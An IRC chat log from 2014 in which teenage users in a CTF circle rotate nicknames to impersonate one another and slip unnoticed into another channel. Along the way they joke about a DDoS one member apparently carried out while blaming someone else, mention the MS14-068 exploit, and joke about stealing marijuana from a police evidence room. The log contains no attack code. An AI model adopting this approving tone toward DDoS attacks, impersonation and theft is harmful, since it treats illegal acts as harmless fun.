[2014-11-20T00:53:01-0500] sdamashrekt is now known as Tamini_
[2014-11-20T00:53:02-0500] <Tamini_> eh
[2014-11-20T00:53:04-0500] <Tamini_> not worth
[2014-11-20T00:53:06-0500] <Tamini_> too much effort
[2014-11-20T00:53:07-0500] <+LittleBobbyTables> Totally worth.
[2014-11-20T00:53:19-0500] nezorg is now known as Tam
[2014-11-20T00:53:28-0500] <Tamini_> LOL
[2014-11-20T00:53:29-0500] <bob_twinkles> good job LittleBobbyTables 
[2014-11-20T00:53:30-0500] <Tamini_> Oh my god
[2014-11-20T00:53:39-0500] <+LittleBobbyTables> Totally worth.
[2014-11-20T00:53:39-0500] <Tamini_> 10/10
[2014-11-20T00:53:45-0500] <bob_twinkles> you get like 15 "piss off creffett points"
[2014-11-20T00:53:50-0500] <Tamini_> I /really/ 
[2014-11-20T00:53:51-0500] <Tamini_> want to see
[2014-11-20T00:53:53-0500] <Tamini_> what happens now
[2014-11-20T00:53:54-0500] <Tam> 10/10 would watch again
[2014-11-20T00:54:01-0500] <Tamini_> sdamashek
[2014-11-20T00:54:05-0500] <Tamini_> you don't know this story, do you
[2014-11-20T00:54:06-0500] <Tamini_> LOL
[2014-11-20T00:54:24-0500] <bob_twinkles> wait I'm confused
[2014-11-20T00:54:25-0500] <Tam> fuck
[2014-11-20T00:54:27-0500] <+LittleBobbyTables> Give me a quick explanation
[2014-11-20T00:54:28-0500] <bob_twinkles> who is who
[2014-11-20T00:54:32-0500] <Tam> csssuf remembered me
[2014-11-20T00:54:33-0500] <Tam> ah
[2014-11-20T00:54:35-0500] <+LittleBobbyTables> of claudia lol
[2014-11-20T00:54:41-0500] <bob_twinkles> uh
[2014-11-20T00:54:41-0500] <Tamini_> LittleBobbyTables: can I tell
[2014-11-20T00:54:43-0500] <Tamini_> the claudia story
[2014-11-20T00:54:48-0500] <Tam> maybe creffett recognizes me
[2014-11-20T00:54:51-0500] <bob_twinkles> ring leader of the piss off creffett squad
[2014-11-20T00:54:58-0500] <+LittleBobbyTables> Fair enough.
[2014-11-20T00:54:58-0500] <sdamashek> what is the claudia story
[2014-11-20T00:54:58-0500] <bob_twinkles> good choice overall I think
[2014-11-20T00:55:06-0500] <sdamashek> how would you possibly know claudia
[2014-11-20T00:55:06-0500] <bob_twinkles> uh... which one even
[2014-11-20T00:55:20-0500] <+LittleBobbyTables> I know a lot of people.
[2014-11-20T00:55:36-0500] <sdamashek> was it from #pico?
[2014-11-20T00:55:37-0500] Tamini_ (Tamini@pdgn-lcu.rjq.2ssb8g.IP) left the channel ("Leaving")
[2014-11-20T00:55:41-0500] <+LittleBobbyTables> Yeah.
[2014-11-20T00:55:41-0500] Tamini_ (Tamini@pdgn-lcu.rjq.2ssb8g.IP) joined the channel
[2014-11-20T00:55:44-0500] <sdamashek> ic
[2014-11-20T00:55:45-0500] <Tamini_> jacob you really
[2014-11-20T00:55:46-0500] <Tamini_> arent helping
[2014-11-20T00:55:54-0500] <+LittleBobbyTables> :/
[2014-11-20T00:56:02-0500] <Tamini_> LittleBobbyTables, 
[2014-11-20T00:56:04-0500] <Tamini_> can i tell 
[2014-11-20T00:56:05-0500] <Tamini_> what you did
[2014-11-20T00:56:08-0500] <Tamini_> and let claudia take the blame for
[2014-11-20T00:56:09-0500] <+LittleBobbyTables> Uhh
[2014-11-20T00:56:10-0500] <Tamini_> >.>
[2014-11-20T00:56:21-0500] <+LittleBobbyTables> What'd I do?
[2014-11-20T00:56:21-0500] <sdamashek> yes
[2014-11-20T00:56:23-0500] <bob_twinkles> LittleBobbyTables: just do /me -> sleeps, will talk in morning
[2014-11-20T00:56:23-0500] <sdamashek> pls tell
[2014-11-20T00:56:26-0500] <Tamini_> jehmimiah?
[2014-11-20T00:56:49-0500] <bob_twinkles> there should be a leaderboard for "length of time for strange nick in #tjhsst"
[2014-11-20T00:56:56-0500] <Tamini_> LOL
[2014-11-20T00:56:59-0500] <+LittleBobbyTables> See, here we were not being disruptive
[2014-11-20T00:57:00-0500] <Tamini_> well
[2014-11-20T00:57:03-0500] <Tamini_> zenorg wins
[2014-11-20T00:57:04-0500] <+LittleBobbyTables> Then all of a sudden I did something wrong (
[2014-11-20T00:57:05-0500] <Tamini_> by not being noticed
[2014-11-20T00:57:06-0500] <Tamini_> LOL
[2014-11-20T00:57:11-0500] <Tamini_> well you just uh
[2014-11-20T00:57:17-0500] <Tamini_> told creffett you were waiting for claudia
[2014-11-20T00:57:25-0500] <Tamini_> interesting turn of events here
[2014-11-20T00:57:28-0500] <sdamashek> I also own [`^-creffett-^`]
[2014-11-20T00:57:34-0500] <sdamashek> and creffet
[2014-11-20T00:57:40-0500] <Tamini_> lol
[2014-11-20T00:58:09-0500] <+LittleBobbyTables> What about crefett
[2014-11-20T00:58:10-0500] <Tamini_> LittleBobbyTables: now you sound like a creepy stalker
[2014-11-20T00:58:13-0500] <Tamini_> keeps playing this card
[2014-11-20T00:58:47-0500] <+LittleBobbyTables> Hmm.
[2014-11-20T00:58:53-0500] <+LittleBobbyTables> Should I just be honest with that question lol
[2014-11-20T00:59:01-0500] <Tamini_> "she helped me ddos a guy"
[2014-11-20T00:59:05-0500] <+LittleBobbyTables> LOL
[2014-11-20T00:59:05-0500] <Tamini_> :P
[2014-11-20T00:59:07-0500] <bob_twinkles> yeah, it might get him to back down
[2014-11-20T00:59:10-0500] <~awe> So many Tamini_ users.
[2014-11-20T00:59:10-0500] <+LittleBobbyTables> Yeah, it wasn't even her.
[2014-11-20T00:59:18-0500] <Tamini_> oh wow
[2014-11-20T00:59:20-0500] <Tamini_> i was like
[2014-11-20T00:59:20-0500] sdamashek is now known as _Tamini
[2014-11-20T00:59:21-0500] <~awe> Tam: Tamini: Tamini_ 
[2014-11-20T00:59:23-0500] <Tamini_> "why am i logged in on three"
[2014-11-20T00:59:23-0500] <~awe> _Tamini: 
[2014-11-20T00:59:27-0500] <~awe> Why are you so many people?
[2014-11-20T00:59:28-0500] <Tamini_> then i realized nezorg
[2014-11-20T00:59:33-0500] <Tamini_> I am everyone
[2014-11-20T00:59:42-0500] <~awe> Oh, Tam is neozorg lol
[2014-11-20T00:59:47-0500] <~awe> I forgot about that.
[2014-11-20T01:00:04-0500] <Tamini_> i really really
[2014-11-20T01:00:04-0500] <bob_twinkles> wait are all three Tam* in this channel actually all the same [Tamini|Tamini_]?
[2014-11-20T01:00:10-0500] <Tamini_> wanna share the ddos story on the channel
[2014-11-20T01:00:15-0500] <Tamini_> bob_twinkles
[2014-11-20T01:00:15-0500] <~awe> Tamini_: and Tamini are the same.
[2014-11-20T01:00:16-0500] <+LittleBobbyTables> She didn't even do anything
[2014-11-20T01:00:17-0500] <+LittleBobbyTables> lol
[2014-11-20T01:00:17-0500] <Tamini_> Tam:nezorg
[2014-11-20T01:00:19-0500] <~awe> Tam is neozorg.
[2014-11-20T01:00:21-0500] <~awe> Nezorg*
[2014-11-20T01:00:23-0500] <Tamini_> _Tamini: sdamashrekt
[2014-11-20T01:00:25-0500] <~awe> Why do I keep writing neozorg.
[2014-11-20T01:00:26-0500] <~awe> Goddamn.
[2014-11-20T01:00:28-0500] <+LittleBobbyTables> She just talked about wanting to.
[2014-11-20T01:00:32-0500] <Tam> because I’m fresh and new
[2014-11-20T01:00:32-0500] <Tamini_> LittleBobbyTables: and basically
[2014-11-20T01:00:34-0500] <Tamini_> he thought she did :P
[2014-11-20T01:00:37-0500] <+LittleBobbyTables> lol
[2014-11-20T01:00:39-0500] <bob_twinkles> ic
[2014-11-20T01:00:40-0500] <Tamini_> and gus made problems for me
[2014-11-20T01:00:43-0500] <~awe> Tam: you're the next-generation zorg, bb.
[2014-11-20T01:00:57-0500] _Tamini is now known as `Tamini
[2014-11-20T01:01:03-0500] <Tamini_> ...did creffett just run out of words
[2014-11-20T01:01:08-0500] <+LittleBobbyTables> EZ
[2014-11-20T01:01:17-0500] <bob_twinkles> good job LittleBobbyTables 
[2014-11-20T01:01:20-0500] <bob_twinkles> you really came through there
[2014-11-20T01:01:22-0500] <+LittleBobbyTables> Mission success.
[2014-11-20T01:01:28-0500] <Tamini_> (hey if we're going to make fun of #tjhsst here, can i pull jwoglom in during AI tomorrow?)
[2014-11-20T01:01:29-0500] `Tamini is now known as [`-^Tamini^-`]
[2014-11-20T01:01:32-0500] You're now known as Tamlini
[2014-11-20T01:01:36-0500] <Tamini_> jesus christ sam
[2014-11-20T01:01:36-0500] You're now known as Tamlni
[2014-11-20T01:01:37-0500] <Tamini_> LOL
[2014-11-20T01:01:41-0500] <Tamini_> oh god
[2014-11-20T01:01:43-0500] <Tamini_> I REMEMBER THIS
[2014-11-20T01:01:45-0500] <+LittleBobbyTables> lmao
[2014-11-20T01:01:46-0500] <Tamini_> awe: remember hsctf
[2014-11-20T01:01:48-0500] [`-^Tamini^-`] is now known as Tam1ni
[2014-11-20T01:01:52-0500] <Tamini_> all of us were kullalok
[2014-11-20T01:01:53-0500] <+LittleBobbyTables> with uhh
[2014-11-20T01:01:57-0500] <Tamini_> wait guys quick
[2014-11-20T01:02:01-0500] <+LittleBobbyTables> apothy's, that's it.
[2014-11-20T01:02:04-0500] You're now known as kullalok
[2014-11-20T01:02:05-0500] <alokpathy> wat
[2014-11-20T01:02:06-0500] <alokpathy> wat
[2014-11-20T01:02:07-0500] <alokpathy> wat
[2014-11-20T01:02:10-0500] <Tamini_> oh
[2014-11-20T01:02:10-0500] <Tam1ni> wat
[2014-11-20T01:02:12-0500] <Tamini_> crap
[2014-11-20T01:02:13-0500] LittleBobbyTables is now known as kulIalok
[2014-11-20T01:02:13-0500] <Tamini_> you're awake.
[2014-11-20T01:02:16-0500] <~kullalok> Guys, switch.
[2014-11-20T01:02:16-0500] <~kullalok> Fast.
[2014-11-20T01:02:22-0500] Tam is now known as nezorg
[2014-11-20T01:02:23-0500] Tam1ni is now known as ku1lalok
[2014-11-20T01:02:24-0500] <Tamini_> go back to bed 
[2014-11-20T01:02:28-0500] <alokpathy> I never
[2014-11-20T01:02:29-0500] <alokpathy> went to bed
[2014-11-20T01:02:29-0500] <alokpathy> :|
[2014-11-20T01:02:32-0500] <Tamini_> go to bed, then
[2014-11-20T01:02:33-0500] ku1lalok is now known as a1okpathy
[2014-11-20T01:02:34-0500] <~kullalok> use capital i's and lowercase L's.
[2014-11-20T01:02:35-0500] <Tamini_> gosh apothy
[2014-11-20T01:02:40-0500] <+kulIalok> So did I win in tjhsst?
[2014-11-20T01:02:46-0500] <bob_twinkles> I think so
[2014-11-20T01:02:50-0500] <Tamini_> maybe
[2014-11-20T01:02:54-0500] a1okpathy is now known as benwaffle_
[2014-11-20T01:02:58-0500] <Tamini_> (nezorg is still unnoticed)
[2014-11-20T01:02:58-0500] benwaffle_ is now known as ubunt0r
[2014-11-20T01:03:00-0500] <ubuntor> \nick kuIlalok
[2014-11-20T01:03:02-0500] ubunt0r is now known as Tam
[2014-11-20T01:03:07-0500] <ubuntor> ack, my slashes
[2014-11-20T01:03:07-0500] <alokpathy> Oh god
[2014-11-20T01:03:10-0500] <Tamini_> i can't
[2014-11-20T01:03:13-0500] <+kulIalok> nezorg, your turn!
[2014-11-20T01:03:13-0500] <Tamini_> tell who's actually who
[2014-11-20T01:03:15-0500] <bob_twinkles> you should probably come up with some reason to talk to laudiacay though
[2014-11-20T01:03:15-0500] <Tamini_> ogod
[2014-11-20T01:03:18-0500] <nezorg> Tamini_: zorgne is best stealth nezorg
[2014-11-20T01:03:21-0500] <+kulIalok> If they ask.
[2014-11-20T01:03:24-0500] <Tamini_> yes
[2014-11-20T01:03:27-0500] <nezorg> who is the legendary laudiacay anyway?
[2014-11-20T01:03:28-0500] <Tamini_> and we are all /so/ proud of you
[2014-11-20T01:03:29-0500] ubuntor is now known as kuIIaIok
[2014-11-20T01:03:34-0500] <nezorg> I’ve seen her mentioned in quotes as well
[2014-11-20T01:03:37-0500] You're now known as ubuntor
[2014-11-20T01:03:38-0500] <Tamini_> she uh
[2014-11-20T01:03:39-0500] <Tamini_> LOL
[2014-11-20T01:03:40-0500] <Tamini_> OH RIGHT
[2014-11-20T01:03:41-0500] <+kulIalok> She's #1 ddoser, of course.
[2014-11-20T01:03:42-0500] <bob_twinkles> I think creffett thinks nezorg/zorgne is jholtom
[2014-11-20T01:03:42-0500] <Tamini_> YOU READ THE QUOTES
[2014-11-20T01:03:48-0500] You're now known as bob_twinkIes
[2014-11-20T01:03:50-0500] <nezorg> bob_twinkles: why?
[2014-11-20T01:03:52-0500] <Tamini_> bob_twinkles: he thought jacob was
[2014-11-20T01:03:52-0500] <~bob_twinkIes> hi
[2014-11-20T01:03:53-0500] <+kulIalok> creffett thinks everyone is jholtom apparently.
[2014-11-20T01:03:57-0500] <Tam> Tamini_: you linked afterdark?
[2014-11-20T01:04:01-0500] <Tamini_> no
[2014-11-20T01:04:04-0500] <Tamini_> nezorg googled himself
[2014-11-20T01:04:06-0500] <bob_twinkles> nezorg kulIalok: pretty much yes
[2014-11-20T01:04:06-0500] <Tam> lol
[2014-11-20T01:04:19-0500] <~bob_twinkIes> alokpathy: what's crackalackin'?
[2014-11-20T01:04:21-0500] <Tam> /msg #tjhsst wait who's zorgne
[2014-11-20T01:04:23-0500] <Tam> I mean
[2014-11-20T01:04:25-0500] <Tam> hi
[2014-11-20T01:04:25-0500] <bob_twinkles> he's usually right though, so you gotta give him some credit
[2014-11-20T01:04:36-0500] <+kulIalok> Who's jholtom?
[2014-11-20T01:04:54-0500] <alokpathy> bob_twinkIes: Confusion .-.
[2014-11-20T01:04:59-0500] <Tamini_> i don't know
[2014-11-20T01:05:01-0500] <Tamini_> who I am anymore
[2014-11-20T01:05:07-0500] <+kulIalok> I think you're awe.
[2014-11-20T01:05:15-0500] <Tamini_> wait
[2014-11-20T01:05:17-0500] <Tamini_> is awe not here
[2014-11-20T01:05:18-0500] nezorg is now known as Tamini__
[2014-11-20T01:05:20-0500] Tam is now known as awe
[2014-11-20T01:05:24-0500] <+kulIalok> awe is bob_twinkIes 
[2014-11-20T01:05:24-0500] awe is now known as some
[2014-11-20T01:05:27-0500] Tamini__ is now known as Tam
[2014-11-20T01:05:29-0500] <bob_twinkles> uh... a dude? He's antagonized creffett in the past so creffett doesn't like him very much
[2014-11-20T01:05:35-0500] <Tamini_> JESUS CHRIST
[2014-11-20T01:05:45-0500] <~bob_twinkIes> xD
[2014-11-20T01:05:47-0500] some is now known as creffett
[2014-11-20T01:05:49-0500] <creffett> heh
[2014-11-20T01:05:49-0500] <Tamini_> basically
[2014-11-20T01:05:52-0500] <Tamini_> claudia and
[2014-11-20T01:05:54-0500] You're now known as cretteff
[2014-11-20T01:05:55-0500] <Tamini_> creffett have a 
[2014-11-20T01:05:58-0500] <Tamini_> rocky at best relationship?
[2014-11-20T01:06:07-0500] <creffett> yes, you are correct
[2014-11-20T01:06:10-0500] <Tam> ooooh fun, relationships
[2014-11-20T01:06:12-0500] <+kulIalok> So I chose the right name, sweet.
[2014-11-20T01:06:18-0500] <Tamini_> someone needs to say
[2014-11-20T01:06:20-0500] <Tamini_> "you don't even go here"
[2014-11-20T01:06:26-0500] <Tamini_> on #tjhsst
[2014-11-20T01:06:34-0500] <bob_twinkles> I think it's pretty solidly in direct opposition 99% of the time
[2014-11-20T01:06:50-0500] <Tamini_> eh
[2014-11-20T01:06:53-0500] creffett is now known as crektett
[2014-11-20T01:06:53-0500] <Tamini_> s0lder kinda told me
[2014-11-20T01:06:59-0500] <Tamini_> more of whta happened than it was any business of mine to know
[2014-11-20T01:07:02-0500] <Tamini_> so i just
[2014-11-20T01:07:04-0500] <Tamini_> sit here and watch
[2014-11-20T01:07:05-0500] <Tamini_> ._.
[2014-11-20T01:07:15-0500] <+kulIalok> ms14 068 so gud
[2014-11-20T01:07:43-0500] <+kulIalok> Sweet, I think creffett is letting me stay.
[2014-11-20T01:07:48-0500] <Tamini_> damn
[2014-11-20T01:07:49-0500] You're now known as s0lder
[2014-11-20T01:07:55-0500] <bob_twinkles> yeap
[2014-11-20T01:08:04-0500] <Tamini_> and our little nezorg
[2014-11-20T01:08:04-0500] <+kulIalok> Successful infiltration.
[2014-11-20T01:08:04-0500] crektett is now known as solder
[2014-11-20T01:08:06-0500] <solder> rekt
[2014-11-20T01:08:06-0500] <Tamini_> is still super hidden
[2014-11-20T01:08:06-0500] <Tamini_> LOL
[2014-11-20T01:08:16-0500] You're now known as rekt
[2014-11-20T01:08:18-0500] You're now known as shrekt
[2014-11-20T01:08:18-0500] <+kulIalok> I wonder how pissed off he'll be
[2014-11-20T01:08:21-0500] <solder> Tamini_: do you even know who I am any more
[2014-11-20T01:08:24-0500] <+kulIalok> If you give him the ddos story.
[2014-11-20T01:08:26-0500] <Tamini_> yes
[2014-11-20T01:08:27-0500] <~shrekt> so fckn shrekt
[2014-11-20T01:08:28-0500] <Tamini_> sdamashek
[2014-11-20T01:08:30-0500] <Tamini_> ./whois
[2014-11-20T01:08:33-0500] <Tam> Tamini_: would they recognize the nick nezorg?
[2014-11-20T01:08:34-0500] <solder> :>
[2014-11-20T01:08:36-0500] <solder> cheater
[2014-11-20T01:08:37-0500] Tamini_ (Tamini@pdgn-lcu.rjq.2ssb8g.IP) left the channel ("Leaving")
[2014-11-20T01:08:40-0500] <solder> lol
[2014-11-20T01:08:42-0500] <solder> wast
[2014-11-20T01:08:44-0500] Tamini_ (Tamini@pdgn-lcu.rjq.2ssb8g.IP) joined the channel
[2014-11-20T01:08:45-0500] <solder> gg
[2014-11-20T01:08:48-0500] <Tamini_> nezorg: uhh
[2014-11-20T01:08:49-0500] <Tamini_> maybe
[2014-11-20T01:08:52-0500] You're now known as Tam_
[2014-11-20T01:08:52-0500] <Tamini_> they'll definitely notice
[2014-11-20T01:08:54-0500] <Tamini_> if you switch
[2014-11-20T01:08:56-0500] <Tam> yeah
[2014-11-20T01:09:00-0500] <~Tam_> Yup.
[2014-11-20T01:09:09-0500] solder is now known as nezorg
[2014-11-20T01:09:09-0500] <bob_twinkles> ~#php?
[2014-11-20T01:09:12-0500] nezorg is now known as ezorgn
[2014-11-20T01:09:15-0500] ezorgn is now known as zorgne
[2014-11-20T01:09:19-0500] zorgne is now known as orgnez
[2014-11-20T01:09:22-0500] orgnez is now known as rgnezo
[2014-11-20T01:09:25-0500] rgnezo is now known as gnezor
[2014-11-20T01:09:27-0500] <Tamini_> zorgne = stealthmode nezorg
[2014-11-20T01:09:27-0500] Tam is now known as nezorg
[2014-11-20T01:09:29-0500] <+kulIalok> change names, do it :^)
[2014-11-20T01:09:37-0500] <gnezor> still got through a rotation
[2014-11-20T01:09:38-0500] <~Tam_> zorgne <<< 4
[2014-11-20T01:09:39-0500] <bob_twinkles> /rotatenick
[2014-11-20T01:09:43-0500] <Tamini_> :P
[2014-11-20T01:09:48-0500] gnezor is now known as Tam
[2014-11-20T01:09:53-0500] <Tamini_> if you get caught
[2014-11-20T01:09:57-0500] <nezorg> well, I’ve achieved my goal of being able to read #tjhsst logs
[2014-11-20T01:09:58-0500] <+kulIalok> Go share the DDoS story, see what sort of drama that stirs up.
[2014-11-20T01:09:59-0500] <Tamini_> we'll throw you a good defense
[2014-11-20T01:10:04-0500] <Tamini_> go switch it
[2014-11-20T01:10:14-0500] <bob_twinkles> eh
[2014-11-20T01:10:18-0500] <bob_twinkles> I'd save that one
[2014-11-20T01:10:25-0500] <Tamini_> the ddos story? :P
[2014-11-20T01:10:26-0500] <bob_twinkles> no one is really in-channel right now
[2014-11-20T01:10:28-0500] <bob_twinkles> yeah
[2014-11-20T01:10:31-0500] <Tamini_> mhm
[2014-11-20T01:10:38-0500] <Tamini_> but Tam: if you want to switch nicks rn
[2014-11-20T01:10:39-0500] <Tamini_> go for it
[2014-11-20T01:10:40-0500] <Tamini_> LOL
[2014-11-20T01:10:53-0500] You're now known as zorgne
[2014-11-20T01:10:54-0500] <+kulIalok> Sadly though, I'll probably DC in the middle of the night.
[2014-11-20T01:11:01-0500] <Tamini_> oh right.
[2014-11-20T01:11:04-0500] <Tamini_> tomorrow, you're coming
[2014-11-20T01:11:10-0500] <Tamini_> why do you come the one weekend I'm gone again
[2014-11-20T01:11:15-0500] <Tamini_> are you doing this on purpose
[2014-11-20T01:11:15-0500] <~zorgne> I'm actually not coming anymore.
[2014-11-20T01:11:23-0500] <~zorgne> Plans fell through.
[2014-11-20T01:11:29-0500] <+kulIalok> Did you die?
[2014-11-20T01:11:31-0500] <~zorgne> But I'm defs coming in December.
[2014-11-20T01:11:38-0500] <Tamini_> meh, fine.
[2014-11-20T01:11:45-0500] <Tamini_> you have to hang out with me then, though.
[2014-11-20T01:11:49-0500] <~zorgne> Yeah!
[2014-11-20T01:11:52-0500] <~zorgne> Be free like...
[2014-11-20T01:11:55-0500] <+kulIalok> So needy
[2014-11-20T01:11:57-0500] <~zorgne> December 16th-ish?
[2014-11-20T01:11:58-0500] <Tamini_> none of this "i'll be 20 minutes from you but not see you" business.
[2014-11-20T01:12:04-0500] <Tamini_> zorgne: lol 
[2014-11-20T01:12:06-0500] <Tamini_> (birthday)
[2014-11-20T01:12:11-0500] <~zorgne> Is that really your birthday?
[2014-11-20T01:12:15-0500] <Tamini_> 12/15
[2014-11-20T01:12:15-0500] <~zorgne> I'm a fucking birthday gift!
[2014-11-20T01:12:16-0500] <+kulIalok> RIGHT YOURE the 16th
[2014-11-20T01:12:19-0500] <Tamini_> aka college app day
[2014-11-20T01:12:19-0500] <Tamini_> LOL
[2014-11-20T01:12:24-0500] <Tamini_> no, jacob.
[2014-11-20T01:12:25-0500] <Tamini_> good try
[2014-11-20T01:12:25-0500] <+kulIalok> I forgot who that was
[2014-11-20T01:12:25-0500] <Tamini_> LOL
[2014-11-20T01:12:39-0500] <nezorg> Tamini_: what’s the DDOS story?
[2014-11-20T01:12:43-0500] <Tamini_> zorgne: you can be a slightly late birthday gift
[2014-11-20T01:12:53-0500] <Tamini_> wait
[2014-11-20T01:12:59-0500] <Tamini_> I'm so confused
[2014-11-20T01:13:02-0500] <+kulIalok> tl;dr, claudia wanted to ddos peeps but wasn't man enough
[2014-11-20T01:13:07-0500] <Tamini_> so
[2014-11-20T01:13:10-0500] <Tamini_> lbt did it for her
[2014-11-20T01:13:14-0500] <Tamini_> and let her take the credit for it
[2014-11-20T01:13:29-0500] <Tamini_> jehmimiah isn't /that/ stupid though
[2014-11-20T01:13:44-0500] <+kulIalok> Who's jehmimiah
[2014-11-20T01:13:52-0500] <Tamini_> uhh
[2014-11-20T01:13:56-0500] You're now known as jehmimiah
[2014-11-20T01:14:00-0500] <Tamini_> the guy
[2014-11-20T01:14:01-0500] <+kulIalok> God damn it awe.
[2014-11-20T01:14:01-0500] <Tamini_> that accused
[2014-11-20T01:14:04-0500] <Tamini_> mserrano of ddossing
[2014-11-20T01:14:07-0500] <+kulIalok> oh
[2014-11-20T01:14:08-0500] You're now known as mserrano
[2014-11-20T01:14:15-0500] <Tamini_> s/ddossing/ddosing
[2014-11-20T01:14:15-0500] <nezorg> …mserrano?
[2014-11-20T01:14:21-0500] <Tamini_> yeah uh
[2014-11-20T01:14:23-0500] <+kulIalok> The #picoctf op
[2014-11-20T01:14:27-0500] You're now known as ddosing
[2014-11-20T01:14:29-0500] <nezorg> yeah, I know who he is
[2014-11-20T01:14:29-0500] <Tamini_> he came on completely baked one day to irc
[2014-11-20T01:14:33-0500] <Tamini_> pissed off a bunch of people
[2014-11-20T01:14:34-0500] You're now known as baked
[2014-11-20T01:14:41-0500] <nezorg> …on #tjhsst?
[2014-11-20T01:14:41-0500] <+kulIalok> Really, awe
[2014-11-20T01:14:43-0500] <~baked> For the record, drugs are cool.
[2014-11-20T01:14:45-0500] <Tamini_> gus and i kinda laughed and kinda cried together
[2014-11-20T01:14:48-0500] <Tamini_> (on #picoctf)
[2014-11-20T01:14:48-0500] <+kulIalok> on #picoctf
[2014-11-20T01:14:53-0500] <nezorg> …huh
[2014-11-20T01:14:54-0500] You're now known as Gustopher
[2014-11-20T01:14:54-0500] <+kulIalok> winner.
[2014-11-20T01:14:58-0500] <~Gustopher> Smoke weed everday.
[2014-11-20T01:15:02-0500] kulIalok is now known as BALL_SO_HARD
[2014-11-20T01:15:06-0500] <Tamini_> oh god
[2014-11-20T01:15:06-0500] <+BALL_SO_HARD> <-- this guy
[2014-11-20T01:15:08-0500] <+BALL_SO_HARD> Remember him?
[2014-11-20T01:15:08-0500] <Tamini_> stop it
[2014-11-20T01:15:10-0500] <~Gustopher>  /s/everyday/everday
[2014-11-20T01:15:14-0500] <+BALL_SO_HARD> If you ever saw him
[2014-11-20T01:15:21-0500] <Tamini_> also nezorg: I think you got away with it.
[2014-11-20T01:15:27-0500] You're now known as DICK_SO_HARd
[2014-11-20T01:15:28-0500] You're now known as DICK_SO_HARD
[2014-11-20T01:15:34-0500] <~DICK_SO_HARD> Well, this is awkward.
[2014-11-20T01:15:39-0500] <+BALL_SO_HARD> You should have your turn in the interrogation queue, nezorg.
[2014-11-20T01:15:41-0500] <+BALL_SO_HARD> It was fun.
[2014-11-20T01:15:47-0500] BALL_SO_HARD is now known as LittleBobbyTables
[2014-11-20T01:15:50-0500] <nezorg> Tamini_: hopefully they don’t wake up in the morning and notice “hey what’s this guy"
[2014-11-20T01:15:53-0500] <Tamini_> LOL
[2014-11-20T01:15:55-0500] kuIIaIok is now known as ubuntor
[2014-11-20T01:16:00-0500] <Tamini_> hopefully
[2014-11-20T01:16:03-0500] <+LittleBobbyTables> For reals though
[2014-11-20T01:16:06-0500] <+LittleBobbyTables> I should probably do homework
[2014-11-20T01:16:11-0500] <+LittleBobbyTables> That might be a good/decent idea.
[2014-11-20T01:16:12-0500] <Tamini_> same here
[2014-11-20T01:16:16-0500] <Tamini_> god, nezorg
[2014-11-20T01:16:20-0500] <Tamini_> you killed the study group
[2014-11-20T01:16:21-0500] <Tamini_> be ashamed
[2014-11-20T01:16:47-0500] <+LittleBobbyTables> I'm pretty happy I noticed I didn't have my VPN up
[2014-11-20T01:16:56-0500] <+LittleBobbyTables> I don't even know what IP I was pointing to when I first joined lol
[2014-11-20T01:17:14-0500] You're now known as awe
[2014-11-20T01:17:16-0500] <Tamini_> lol
[2014-11-20T01:17:17-0500] <~awe> Seriously though, guys.
[2014-11-20T01:17:19-0500] <~awe> Marijuana is great.
[2014-11-20T01:17:24-0500] <Tamini_> it's legal here now
[2014-11-20T01:17:26-0500] <~awe> I know.
[2014-11-20T01:17:37-0500] <Tamini_> is it 18 or 21?
[2014-11-20T01:17:37-0500] <bob_twinkles> ish
[2014-11-20T01:17:39-0500] <Tamini_> 21, right?
[2014-11-20T01:17:40-0500] <bob_twinkles> you can't buy it
[2014-11-20T01:17:41-0500] <+LittleBobbyTables> 21.
[2014-11-20T01:17:49-0500] <+LittleBobbyTables> It's illegal where I live
[2014-11-20T01:17:51-0500] <bob_twinkles> but you can posses it
[2014-11-20T01:17:53-0500] <+LittleBobbyTables> So all I have to do is go like
[2014-11-20T01:17:57-0500] <+LittleBobbyTables> 5 minutes away, and it's legal
[2014-11-20T01:18:01-0500] <Tamini_> lol
[2014-11-20T01:18:03-0500] <+LittleBobbyTables> City bans make me sad.
[2014-11-20T01:18:04-0500] <Tamini_> yeah, basically same for me
[2014-11-20T01:18:09-0500] <~awe> Smoke it anyway though.
[2014-11-20T01:18:13-0500] <Tamini_> but I need to find a irresponsible 21 year old
[2014-11-20T01:18:15-0500] <Tamini_> to get me some
[2014-11-20T01:18:23-0500] <Tamini_> either that, or base school kids >.>
[2014-11-20T01:18:25-0500] <bob_twinkles> smoke_weed_everyday.avi
[2014-11-20T01:18:34-0500] <ubuntor> night
[2014-11-20T01:18:38-0500] <bob_twinkles> ... or just like gho or something
[2014-11-20T01:18:40-0500] <bob_twinkles> 'night ubuntor 
[2014-11-20T01:18:43-0500] <nezorg> night
[2014-11-20T01:18:43-0500] <Tamini_> eh
[2014-11-20T01:18:45-0500] <Tamini_> night
[2014-11-20T01:18:51-0500] <+LittleBobbyTables> See, here's what you do
[2014-11-20T01:19:01-0500] <+LittleBobbyTables> Get an internship/apprenticeship at your local police station
[2014-11-20T01:19:07-0500] <~awe> http://youtu.be/9nB36Q-ICos
[2014-11-20T01:19:09-0500] <+LittleBobbyTables> Then, say you're having woman troubles to the guy watching over you
[2014-11-20T01:19:13-0500] <~awe> good night, ubuntor.
[2014-11-20T01:19:14-0500] <+LittleBobbyTables> Then go to the evidence room, steal pot
[2014-11-20T01:19:15-0500] <+LittleBobbyTables> EZ
[2014-11-20T01:19:18-0500] <+LittleBobbyTables> Night, ubuntor.
[2014-11-20T01:19:24-0500] <~awe> LittleBobbyTables: so, that's why you work at the NSA.
[2014-11-20T01:19:26-0500] <Tamini_> LOL
[2014-11-20T01:19:29-0500] <Tamini_> I...go say
[2014-11-20T01:19:33-0500] <Tamini_> I'm having woman troubles?
[2014-11-20T01:19:38-0500] <+LittleBobbyTables> Exactly.
[2014-11-20T01:19:42-0500] <+LittleBobbyTables> Guys don't want to get into that stuff.
[2014-11-20T01:19:43-0500] <Tamini_> oh
[2014-11-20T01:19:44-0500] <Tamini_> OH
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[2014-11-20T01:19:57-0500] <Tamini_> I uh
[2014-11-20T01:20:00-0500] <Tamini_> misinterpreted that
[2014-11-20T01:20:06-0500] <+LittleBobbyTables> lol
[2014-11-20T01:20:11-0500] <~awe> girl troubles and woman troubles are different.
[2014-11-20T01:20:16-0500] <Tamini_> yeah
[2014-11-20T01:20:18-0500] <bob_twinkles> LittleBobbyTables: that's a great way to get thrown in federal prison
[2014-11-20T01:20:19-0500] <Tamini_> I realize, now
[2014-11-20T01:20:21-0500] <+LittleBobbyTables> She's a lady.
[2014-11-20T01:20:35-0500] <~awe> bob_twinkles: So is butt fuddling a secret service officer.
